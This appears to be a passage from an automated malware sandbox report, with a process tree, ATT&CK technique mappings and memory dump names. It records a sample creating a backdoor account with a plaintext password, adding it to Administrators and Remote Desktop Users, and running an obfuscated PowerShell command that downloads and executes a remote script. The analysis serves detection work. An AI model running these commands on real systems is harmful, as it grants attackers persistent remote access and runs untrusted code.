cmd /C net.exe LOCALGROUP "Remote Desktop Users" wgautilacc /ADD
1⤵
- Suspicious use of WriteProcessMemory
PID:1824
- C:\Windows\system32\net.exe
  net.exe LOCALGROUP "Remote Desktop Users" wgautilacc /ADD
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4004
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 LOCALGROUP "Remote Desktop Users" wgautilacc /ADD
    3⤵
    PID:1148

C:\Windows\System32\cmd.exe
cmd /C net.exe LOCALGROUP "Remote Desktop Users" RJMQBVDN$ /ADD
1⤵
- Suspicious use of WriteProcessMemory
PID:3716
- C:\Windows\system32\net.exe
  net.exe LOCALGROUP "Remote Desktop Users" RJMQBVDN$ /ADD
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3756
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 LOCALGROUP "Remote Desktop Users" RJMQBVDN$ /ADD
    3⤵
    PID:2292

C:\Windows\System32\cmd.exe
cmd /C net.exe LOCALGROUP "Administrators" wgautilacc /ADD
1⤵
- Suspicious use of WriteProcessMemory
PID:2284
- C:\Windows\system32\net.exe
  net.exe LOCALGROUP "Administrators" wgautilacc /ADD
  2⤵
  PID:2120
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 LOCALGROUP "Administrators" wgautilacc /ADD
    3⤵
    PID:3056

C:\Windows\System32\cmd.exe
cmd /C net.exe user wgautilacc utEG4ofX
1⤵
PID:3736
- C:\Windows\system32\net.exe
  net.exe user wgautilacc utEG4ofX
  2⤵
  PID:3180
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 user wgautilacc utEG4ofX
    3⤵
    PID:1396

C:\Windows\System32\cmd.exe
cmd.exe /C wmic path win32_VideoController get name
1⤵
PID:4068
- C:\Windows\System32\Wbem\WMIC.exe
  wmic path win32_VideoController get name
  2⤵
  PID:940

C:\Windows\System32\cmd.exe
cmd.exe /C wmic CPU get NAME
1⤵
PID:4076
- C:\Windows\System32\Wbem\WMIC.exe
  wmic CPU get NAME
  2⤵
  PID:2708

C:\Windows\System32\cmd.exe
cmd.exe /C cmd /C powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
1⤵
PID:2120
- C:\Windows\system32\cmd.exe
  cmd /C powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
  2⤵
  PID:3056
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
    3⤵
    - Blocklisted process makes network request
    - Drops file in Program Files directory
    - Drops file in Windows directory
    - Modifies data under HKEY_USERS
    - Suspicious behavior: EnumeratesProcesses
    PID:2044

C:\Windows\System32\cmd.exe
cmd.exe /C net user wgautilacc 1234
1⤵
PID:648
- C:\Windows\system32\net.exe
  net user wgautilacc 1234
  2⤵
  PID:1888
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 user wgautilacc 1234
    3⤵
    PID:2708

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Account Manipulation

T1098

Registry Run Keys / Startup Folder

T1060

Privilege Escalation

Defense Evasion

Modify Registry

T1112

Credential Access

Account Manipulation

T1098

Credentials in Files

T1081

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Remote Desktop Protocol

T1076

Collection

Data from Local System

T1005

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/1396-181-0x000001DA496B0000-0x000001DA496B2000-memory.dmp

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memory/1396-182-0x000001DA496B3000-0x000001DA496B5000-memory.dmp

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memory/1396-203-0x000001DA496B6000-0x000001DA496B8000-memory.dmp

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memory/1396-213-0x000001DA496B8000-0x000001DA496BA000-memory.dmp

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memory/2044-255-0x000001EF717A3000-0x000001EF717A5000-memory.dmp

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memory/2044-254-0x000001EF717A0000-0x000001EF717A2000-memory.dmp

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memory/2044-256-0x000001EF717A6000-0x000001EF717A8000-memory.dmp

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memory/2044-257-0x000001EF717A8000-0x000001EF717A9000-memory.dmp

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memory/2640-214-0x000001407F360000-0x000001407F362000-memory.dmp

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memory/2640-217-0x000001407F366000-0x000001407F368000-memory.dmp

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memory/2640-215-0x000001407F363000-0x000001407F365000-memory.dmp

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memory/3344-218-0x0000020969380000-0x0000020969382000-memory.dmp

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memory/3344-221-0x0000020969388000-0x000002096938A000-memory.dmp

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memory/3344-220-0x0000020969386000-0x0000020969388000-memory.dmp

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memory/3344-219-0x0000020969383000-0x0000020969385000-memory.dmp

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memory/3448-132-0x000001DA6A586000-0x000001DA6A587000-memory.dmp

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memory/3448-127-0x000001DA6CBD0000-0x000001DA6CFF1000-memory.dmp

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memory/3448-129-0x000001DA6A580000-0x000001DA6A582000-memory.dmp

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memory/3448-131-0x000001DA6A585000-0x000001DA6A586000-memory.dmp

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memory/3448-130-0x000001DA6A583000-0x000001DA6A585000-memory.dmp

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memory/3876-141-0x0000018D32700000-0x0000018D32701000-memory.dmp

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memory/3876-157-0x0000018D32050000-0x0000018D32051000-memory.dmp

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memory/3876-145-0x0000018D320A3000-0x0000018D320A5000-memory.dmp

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memory/3876-144-0x0000018D320A0000-0x0000018D320A2000-memory.dmp

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memory/3876-164-0x0000018D32C30000-0x0000018D32C31000-memory.dmp

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memory/3876-138-0x0000018D32000000-0x0000018D32001000-memory.dmp

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memory/3876-165-0x0000018D32FC0000-0x0000018D32FC1000-memory.dmp

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memory/3876-222-0x0000018D320A8000-0x0000018D320A9000-memory.dmp

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memory/3876-159-0x0000018D320A6000-0x0000018D320A8000-memory.dmp

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memory/3904-114-0x0000000002150000-0x00000000021E1000-memory.dmp

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memory/3904-115-0x0000000000400000-0x0000000000496000-memory.dmp

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